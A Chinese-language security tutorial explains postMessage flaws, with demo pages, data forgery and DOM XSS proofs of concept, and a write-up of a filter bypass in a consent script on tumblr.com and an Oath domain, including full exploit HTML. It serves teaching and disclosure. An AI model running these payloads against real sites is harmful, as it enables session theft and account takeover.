未經許可,不得轉載。
文章目錄
- 前言
- 示例
- 正文
前言
PostMessage是一個用于在網頁間安全地發送消息的瀏覽器 API。它允許不同的窗口(例如,來自同一域名下的不同頁面或者不同域名下的跨域頁面)進行通信,而無需通過服務器。通常情況下,它用于實現跨文檔消息傳遞(Cross-Document Messaging),這在一些復雜的網頁應用和瀏覽器插件中非常有用。
示例
在深入學習本文前,通過父子窗口間的消息傳遞示例代碼+瀏覽器回顯
帶領讀者了解必要的知識。
1、send.html通過 postMessage
函數向receive.html發送消息:
<!--send.html-->
<!DOCTYPE html>
<html>
<head><title>發送界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//發送的數據內容let msg = { content: "玲瓏安全漏洞挖掘培訓vx: bc52013" };//發送消息到任意目標源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打開子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='發送消息' onclick='sendMessage();' />
</body>
</html>
2、receive.html通過監聽 message
事件來輸出收到的消息:
<!--receive.html-->
<!DOCTYPE html>
<html>
<head><title>接收界面</title><meta charset="utf-8" /><script>//添加事件監控消息window.addEventListener("message", (event) => {let txt = document.getElementById("msg");//接收傳輸過來的變量數據txt.value = `接收到的消息為:${event.data.content}`;});</script>
</head>
<body><h1>接收界面(子窗口)</h1><input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>
3、在send.html點擊打開子窗口后彈出子窗口:
4、點擊發送消息后,接收界面收到并且打印消息內容**“玲瓏安全漏洞挖掘培訓vx: bc52013”**
如上,通過PostMessage實現了父子窗口間的消息傳遞。
然而,若代碼書寫不規范將導致安全問題。
1、數據偽造
由于receive.html沒有設置信任源,因此任意頁面都可向該頁面發送數據,導致數據偽造。
<!--數據偽造.html-->
<!DOCTYPE html>
<html>
<head><title>數據偽造界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//發送的數據內容let msg = { content: "ICE" };//發送消息到任意目標源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打開子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='發送消息' onclick='sendMessage();' />
</body>
</html>
如圖,接收方本應接收到的消息為:
而在數據偽造界面
打開子窗口并發送消息后,接收界面接收到偽造數據:
2、XSS
當發送參數可控且接收方處理不當時,將導致DOM XSS
例如,受害方接收一個可控的URL參數:
<!--受害方.html-->
<!DOCTYPE html>
<html>
<head><title>受害方界面</title><meta charset="utf-8" /><script>//添加事件監控消息window.addEventListener("message", (event) => {location.href=`${event.data.url}`;});</script>
</head>
<body><h1>受害方界面(子窗口)</h1>
</body>
</html>
于是可以構造惡意請求,實現XSS:
<!--攻擊方實現XSS.html-->
<!DOCTYPE html>
<html>
<head><title>攻擊方實現XSS界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('受害方.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//發送的數據內容let msg = { url:"javascript:alert('玲瓏安全漏洞挖掘培訓')" };//發送消息到任意目標源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打開子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='發送消息' onclick='sendMessage();' />
</body>
</html>
在攻擊方界面打開子窗口:
點擊發送消息后,受害方執行JS代碼:
同時,當頁面中不包含X-Frame-Options標頭時,還可利用 <iframe>
標簽嵌套受害方頁面并傳遞可控參數,以執行JS代碼:
<!-- 攻擊方: hacker.html -->
<!DOCTYPE html>
<html>
<head><title>XSS-iframe</title>
</head><body><iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body><script type="text/javascript">var iframe = window.frames.attack;function xss() {let msg = {url: "javascript:alert(document.domain)"};iframe.postMessage(msg, '*');}
</script>
</html>
攻擊效果如圖:
漏洞危害如下:
(i)竊取用戶敏感數據(個人數據、消息等)
(ii)竊取 CSRF 令牌并以用戶的名義執行惡意操作
(iii)竊取賬戶憑證并接管用戶賬戶
修復緩解方案:
1、發送方應驗證目標源,確保消息只能被預期的接收方處理:
接收方應使用指定的信任域:
此時,點擊發送消息后,受害方界面不再執行彈窗,因為攻擊方指定的目標源是https協議,而受害方僅指定http://127.0.0.1為信任源:
當攻擊方頁面指定127.0.0.1的http協議時,由于攻擊方頁面與受害者頁面均在該服務器上,因此能夠實現XSS:
正文
進入tumblr.com,在cmpStub.min.js文件中存在如下函數,其不檢查 postMessage 的來源:
!function() {var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")//不檢查來源,為后續測試提供可能性})}}
主要含義:接收并解析 JSON 數據 (e.data
),將其轉換為 JavaScript 對象 (n
);執行 __cmpCall
中指定的命令和參數,并將執行結果封裝成返回對象 a
;最后通過 postMessage
方法將處理結果發送回消息來源。
跟進__cmp() 函數,看看應用程序對數據進行了何種處理:
if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
可以看出,c.a.isSafeUrl(p.uiUrl))為真才將繼續執行。
跟進isSafeUrl函數:
isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")},
若p.uiUrl(即e)中存在javascript
,則返回假。
所以這里是為了防止JS代碼執行,而通常使用黑名單的防護方式是容易被繞過的。
那么傳入的p.uiUrl參數后續會經過什么處理呢?
在上面的代碼中,還存在該行代碼:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟進b()函數:
b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})
再跟進關鍵的renderConsents() 函數:
renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),
可以看到該函數將創建iframe元素,而該元素的src屬性就是我們可控的p.uiUrl。
綜上所述,整體流程如下:
傳入的數據進入cmp()函數處理 -> 處理時執行issafeurl函數判斷數據是否合法 -> 若合法,則執行renderConsents()函數,構造iframe
知悉參數從傳遞到處理的流程后,就可以構造Payload了。
現在的目的是繞過isSafeUrl函數,而恰好,JavaScript 在處理字符串時,會忽略掉換行符、制表符等空白字符(無害臟數據):
因此,依據__cmp() 函數,以JSON形式構造Payload如下:
{"__cmpCall": {"command": "init","parameter": {"uiUrl": "ja\nvascript:alert(document.domain)","uiCustomParams": "ice","organizationId": "ice","gdprAppliesGlobally": "ice"}}
}
使用iframe嵌套受攻擊頁面:
<html><body><script>window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");} catch(e) {}}, 100);</script><iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe></body>
</html>
成功實現XSS:
以上是頁面中不包含X-Frame-Options標頭的情況,導致我們能嵌套受攻擊頁面。
若頁面中包含X-Frame-Options 標頭,則我們不能嵌套受攻擊頁面。這種情況下,可通過 window.opener 實現兩個瀏覽器選項卡之間的連接,再發送 postMessage 消息,實現XSS。
在tumblr.com頁面存在X-Frame-Options標頭,但也含有cmpStub.min.js文件的情況下,攻擊代碼如下所示:
<html>
<body>
<script>
function e() {window.setTimeout(function() {window.location.href = "https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>
成功實現XSS:
參考鏈接:
https://www.cnblogs.com/piaomiaohongchen/p/18305112
https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/